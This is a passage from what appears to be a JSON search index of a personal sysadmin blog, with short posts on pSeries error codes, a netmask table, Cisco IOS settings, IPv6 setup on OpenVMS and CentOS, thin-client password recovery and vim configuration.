Menu\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e99. Exit from Menus\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAfter digits \u0026ldquo;4\u0026rdquo;\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePlease wait....\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSystem Powering On.  Exiting menus.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e9022\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e9101\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e90FD\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e10117611        U0.1-F1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eB0FF\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOK               x\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe error on planar was located on FAN module, for resolution unplug entire block and single fans, then replug into the planar after cleaning up, then power on your pSeries.\u003c/p\u003e","title":"pSeries - 10117611 U0.1-F1"},{"content":" Bitmask (Bits) Dotted Decimal Hexadecimal Binary /0 0.0.0.0 0x00000000 00000000 00000000 00000000 00000000 /1 128.0.0.0 0x80000000 10000000 00000000 00000000 00000000 /2 192.0.0.0 0xc0000000 11000000 00000000 00000000 00000000 /3 224.0.0.0 0xe0000000 11100000 00000000 00000000 00000000 /4 240.0.0.0 0xf0000000 11110000 00000000 00000000 00000000 /5 248.0.0.0 0xf8000000 11111000 00000000 00000000 00000000 /6 252.0.0.0 0xfc000000 11111100 00000000 00000000 00000000 /7 254.0.0.0 0xfe000000 11111110 00000000 00000000 00000000 /8 255.0.0.0 0xff000000 11111111 00000000 00000000 00000000 /9 255.128.0.0 0xff800000 11111111 10000000 00000000 00000000 /10 255.192.0.0 0xffc00000 11111111 11000000 00000000 00000000 /11 255.224.0.0 0xffe00000 11111111 11100000 00000000 00000000 /12 255.240.0.0 0xfff00000 11111111 11110000 00000000 00000000 /13 255.248.0.0 0xfff80000 11111111 11111000 00000000 00000000 /14 255.252.0.0 0xfffc0000 11111111 11111100 00000000 00000000 /15 255.254.0.0 0xfffe0000 11111111 11111110 00000000 00000000 /16 255.255.0.0 0xffff0000 11111111 11111111 00000000 00000000 /17 255.255.128.0 0xffff8000 11111111 11111111 10000000 00000000 /18 255.255.192.0 0xffffc000 11111111 11111111 11000000 00000000 /19 255.255.224.0 0xffffe000 11111111 11111111 11100000 00000000 /20 255.255.240.0 0xfffff000 11111111 11111111 11110000 00000000 /21 255.255.248.0 0xfffff800 11111111 11111111 11111000 00000000 /22 255.255.252.0 0xfffffc00 11111111 11111111 11111100 00000000 /23 255.255.254.0 0xfffffe00 11111111 11111111 11111110 00000000 /24 255.255.255.0 0xffffff00 11111111 11111111 11111111 00000000 /25 255.255.255.128 0xffffff80 11111111 11111111 11111111 10000000 /26 255.255.255.192 0xffffffc0 11111111 11111111 11111111 11000000 /27 255.255.255.224 0xffffffe0 11111111 11111111 11111111 11100000 /28 255.255.255.240 0xfffffff0 11111111 11111111 11111111 11110000 /29 255.255.255.248 0xfffffff8 11111111 11111111 11111111 11111000 /30 255.255.255.252 0xfffffffc 11111111 11111111 11111111 11111100 /31 255.255.255.254 0xfffffffe 11111111 11111111 11111111 11111110 /32 255.255.255.255 0xffffffff 11111111 11111111 11111111 11111111 ","permalink":"https://www.deepreflect.net/2010/05/09/netmask-conversion/","summary":"\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth\u003eBitmask (Bits)\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eDotted Decimal\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eHexadecimal\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eBinary\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0.0.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0x00000000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e00000000 00000000 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/1\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e128.0.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0x80000000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e10000000 00000000 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/2\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e192.0.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xc0000000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11000000 00000000 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/3\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e224.0.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xe0000000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11100000 00000000 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/4\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e240.0.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xf0000000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11110000 00000000 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/5\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e248.0.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xf8000000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111000 00000000 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/6\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e252.0.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xfc000000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111100 00000000 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/7\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e254.0.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xfe000000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111110 00000000 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/8\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.0.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xff000000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 00000000 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/9\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.128.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xff800000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 10000000 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/10\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.192.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xffc00000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11000000 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/11\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.224.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xffe00000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11100000 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/12\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.240.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xfff00000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11110000 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/13\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.248.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xfff80000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111000 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/14\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.252.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xfffc0000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111100 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/15\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.254.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xfffe0000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111110 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/16\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.0.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xffff0000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 00000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/17\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.128.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xffff8000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 10000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/18\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.192.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xffffc000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 11000000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/19\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.224.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xffffe000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 11100000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/20\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.240.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xfffff000\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 11110000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/21\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.248.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xfffff800\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 11111000 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/22\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.252.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xfffffc00\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 11111100 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/23\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.254.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xfffffe00\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 11111110 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/24\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.255.0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xffffff00\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 11111111 00000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/25\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.255.128\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xffffff80\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 11111111 10000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/26\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.255.192\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xffffffc0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 11111111 11000000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/27\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.255.224\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xffffffe0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 11111111 11100000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/28\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.255.240\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xfffffff0\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 11111111 11110000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/29\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.255.248\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xfffffff8\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 11111111 11111000\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/30\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.255.252\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xfffffffc\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 11111111 11111100\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/31\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.255.254\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xfffffffe\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 11111111 11111110\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e/32\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e255.255.255.255\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0xffffffff\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e11111111 11111111 11111111 11111111\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e","title":"Netmask Conversion"},{"content":"Randomly, during bootup of Cisco hardware (IOS), error messages similar to these are displayed:\n%Error opening tftp://255.255.255.255/network-confg (Socket error)\n%Error opening tftp://255.255.255.255/cisconet.cfg (Socket error)\n%Error opening tftp://255.255.255.255/hostname-confg (Socket error)\n%Error opening tftp://255.255.255.255/hostname.cfg (Socket error)\nThese error messages are related to the default service configuration option built into Cisco IOS software, which attempts to access the service configuration files from a network Trivial File Transfer Protocol (TFTP) server.\nIn order to disable this feature, issue the no service config global command.\nRouter#config terminal Enter configuration commands, one per line. Router(config)#no service config Router(config)#exit Router#copy running-config startup-config` `` ","permalink":"https://www.deepreflect.net/2010/04/26/cisco-service-config/","summary":"\u003cp\u003eRandomly, during bootup of Cisco hardware (IOS), error messages similar to these are displayed:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e%Error opening tftp://255.255.255.255/network-confg (Socket error)\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e%Error opening tftp://255.255.255.255/cisconet.cfg (Socket error)\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e%Error opening tftp://255.255.255.255/hostname-confg (Socket error)\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e%Error opening tftp://255.255.255.255/hostname.cfg (Socket error)\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eThese error messages are related to the default service configuration option built into Cisco IOS software, which attempts to access the service configuration files from a network Trivial File Transfer Protocol (TFTP) server.\u003c/p\u003e\n\u003cp\u003eIn order to disable this feature, issue the no service config global command.\u003c/p\u003e","title":"Cisco - service config"},{"content":"If you have performance problem on Cisco 1721, Cisco 2610XM-2651XM, Cisco 2691, and Cisco 3660, with WIC-1DSL - IOS 12.3(2) or above, probably depends on the default value associated with ALL5 clockrate.\nIf yuo wanna check type the following command on your router:\nhellroute01#show controller atm0/0 | include ATM0/0 Interface: ATM0/0, Hardware: DSLSAR (with Alcatel ADSL Module), State: up SCC0 = 2600000 (ATM0/0) SCC3 = 1000000 (ATM0/0) hellroute01# If you get 2600000 (default value) on SCC0 or SCC1 your downlink speed rate probably is limitated at about 300 KB/s\nFor get full speed, put max supported value on aal5 clockrate like this:\nhellroute01(config)#int atm0/0 hellroute01(config-if)#clock rate aal5 ? 1000000 1300000 1600000 2000000 2600000 (default) 3200000 4000000 5300000 7000000 \u0026lt;1000000-7000000\u0026gt; clock rates in bits per second, choose one from above hellroute01(config-if)#clock rate aal5 7000000 Becareful the atm interface is automatically restart for apply the change. Then you lost connection on this interface.\n","permalink":"https://www.deepreflect.net/2010/04/21/cisco-atm-clockrate/","summary":"\u003cp\u003eIf you have performance problem on Cisco 1721, Cisco 2610XM-2651XM, Cisco 2691, and Cisco 3660, with WIC-1DSL - IOS 12.3(2) or above, probably depends on the default value associated with ALL5 clockrate.\u003c/p\u003e\n\u003cp\u003eIf yuo wanna check type the following command on your router:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehellroute01#show controller atm0/0 | include ATM0/0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInterface: ATM0/0, Hardware: DSLSAR (with Alcatel ADSL Module), State: up\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSCC0 =  2600000 (ATM0/0)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSCC3 = 1000000 (ATM0/0)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehellroute01#\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIf you get 2600000 (default value) on SCC0 or SCC1 your downlink speed rate probably is limitated at about 300 KB/s\u003c/p\u003e","title":"Cisco - ATM Clockrate"},{"content":"Memo about configure ipv6 on OpenVMS system as host mode:\nFirst of all invoke the TCPIP$IP6_SETUP command procedure by entering the following command:\nTARDIS::LEO$ @SYS$MANAGER:TCPIP$IP6_SETUP\nLeaving default option to all question, in this mode the dcl create default configuration script.\nThen edit the inet6 script:\nTARDIS::LEO$ EDIT SYS$SYSTEM:TCPIP$INET6_CONFIG.DAT\nAfter the \u0026ldquo;up\u0026rdquo; command\n$ ifconfig \u0026quot;IE0\u0026quot; ipv6 up\nAppend the following line with ip and default gateway:\n$ ifconfig \u0026#34;IE0\u0026#34; inet6 ip6prefix 2001:1418:0193:0001::40/64 $ route add -inet6 default 2001:1418:0193:0001::250 -\u0026#34;I\u0026#34; \u0026#34;IE0\u0026#34; Save, exit and run the dcl:\nTARDIS::LEO$ @SYS$SYSROOT:[SYSEXE]TCPIP$INET6_CONFIG.DAT\n","permalink":"https://www.deepreflect.net/2010/04/14/openvms-ipv6/","summary":"\u003cp\u003eMemo about configure ipv6 on OpenVMS system as host mode:\u003c/p\u003e\n\u003cp\u003eFirst of all invoke the TCPIP$IP6_SETUP command procedure by entering the following command:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eTARDIS::LEO$ @SYS$MANAGER:TCPIP$IP6_SETUP\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eLeaving default option to all question, in this mode the dcl create default configuration script.\u003c/p\u003e\n\u003cp\u003eThen edit the inet6 script:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eTARDIS::LEO$ EDIT SYS$SYSTEM:TCPIP$INET6_CONFIG.DAT\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eAfter the \u0026ldquo;up\u0026rdquo; command\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e$     ifconfig \u0026quot;IE0\u0026quot; ipv6 up\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eAppend the following line with ip and default gateway:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$     ifconfig \u0026#34;IE0\u0026#34; inet6 ip6prefix 2001:1418:0193:0001::40/64\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$     route add -inet6 default 2001:1418:0193:0001::250 -\u0026#34;I\u0026#34; \u0026#34;IE0\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSave, exit and run the dcl:\u003c/p\u003e","title":"OpenVMS - IPv6"},{"content":"You need to update and configure following files for IPv6 configuration:\nEdit: /etc/sysconfig/network And append following line, to enable in systemwide the ipv6 protocol:\nNETWORKING_IPV6=yes\nEdit: /etc/sysconfig/network-scripts/ifcfg-eth1 (or your interface number) And append following line, to enable ipv6 on interface and the address/gateway if you use static routing:\nIPV6INIT=yes IPV6ADDR=2001:1418:0193:000B::210 IPV6_DEFAULTGW=2001:1418:0193:000B::251 Save, close and restart network service:\n# service network restart\n","permalink":"https://www.deepreflect.net/2010/04/14/centos-ipv6-interface/","summary":"\u003cp\u003eYou need to update and configure following files for IPv6 configuration:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eEdit: \u003ccode\u003e/etc/sysconfig/network\u003c/code\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eAnd append following line, to enable in systemwide the ipv6 protocol:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eNETWORKING_IPV6=yes\u003c/code\u003e\u003c/p\u003e\n\u003col start=\"2\"\u003e\n\u003cli\u003eEdit: \u003ccode\u003e/etc/sysconfig/network-scripts/ifcfg-eth1\u003c/code\u003e (or your interface number)\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eAnd append following line, to enable ipv6 on interface and the address/gateway if you use static routing:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eIPV6INIT=yes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eIPV6ADDR=2001:1418:0193:000B::210\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eIPV6_DEFAULTGW=2001:1418:0193:000B::251\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSave, close and restart network service:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# service network restart\u003c/code\u003e\u003c/p\u003e","title":"CentOS - IPv6 interface"},{"content":"Memo: Install linux-header package\n# apt-get install linux-headers-$(uname -r)\n","permalink":"https://www.deepreflect.net/2010/04/14/debian-kernel-headers/","summary":"\u003cp\u003eMemo: Install linux-header package\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# apt-get install linux-headers-$(uname -r)\u003c/code\u003e\u003c/p\u003e","title":"Debian - Kernel Headers"},{"content":"Personally I tried this procedure on Neoware e140 wich run Neolinux 2.x but i think it\u0026rsquo;s the some with other models or os version:\nPower on the thin client\nPress \u0026lsquo;SHIFT\u0026rsquo; during boot procedure\nNow you can get LILO prompt, type: vga simple (I have tried without success to run directly init=/bin/bash the system start but don\u0026rsquo;t load correctly the filesystem on flashdrive)\nAfter kernel starting up procedure you can\u0026rsquo;t see nothing, then you can jump on terminal 2 pressing \u0026lsquo;ALT + F2\u0026rsquo;\nNow on bash# prompt simply digit \u0026lsquo;passwd\u0026rsquo; for setup new password\nReboot the system and use your new password\n","permalink":"https://www.deepreflect.net/2010/04/10/neoware-thin-client-password-recovery/","summary":"\u003cp\u003ePersonally I tried this procedure on Neoware e140 wich run Neolinux 2.x but i think it\u0026rsquo;s the some with other models or os version:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003ePower on the thin client\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ePress \u0026lsquo;SHIFT\u0026rsquo; during boot procedure\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eNow you can get LILO prompt, type: \u003ccode\u003evga simple\u003c/code\u003e (I have tried without success to run directly init=/bin/bash the system start but don\u0026rsquo;t load correctly the filesystem on flashdrive)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAfter kernel starting up procedure you can\u0026rsquo;t see nothing, then you can jump on terminal 2 pressing \u0026lsquo;ALT + F2\u0026rsquo;\u003c/p\u003e","title":"Neoware Thin Client - Password Recovery"},{"content":"Turn on color syntax highlighting\nNow press ESC key, type : syntax on\n:syntax on\nYou can edit ~/.vimrc file and add command syntax on to it so that next you will start vim with color syntax highlighting option\n$ vim ~/.vimrc\nAppend the following line:\nsyntax on ","permalink":"https://www.deepreflect.net/2010/03/30/vim-syntax-highlighting/","summary":"\u003cp\u003eTurn on color syntax highlighting\u003c/p\u003e\n\u003cp\u003eNow press ESC key, type : syntax on\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e:syntax on\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eYou can edit ~/.vimrc file and add command syntax on to it so that next you will start vim with color syntax highlighting option\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e$ vim ~/.vimrc\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eAppend the following line:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003esyntax on \u003c/code\u003e\u003c/p\u003e","title":"Vim - Syntax highlighting"},{"content":"Sometime in case of root password lost or file system corruption, you need to boot system with simple shell, skipping the init sequence.\nAt Grub prompt press 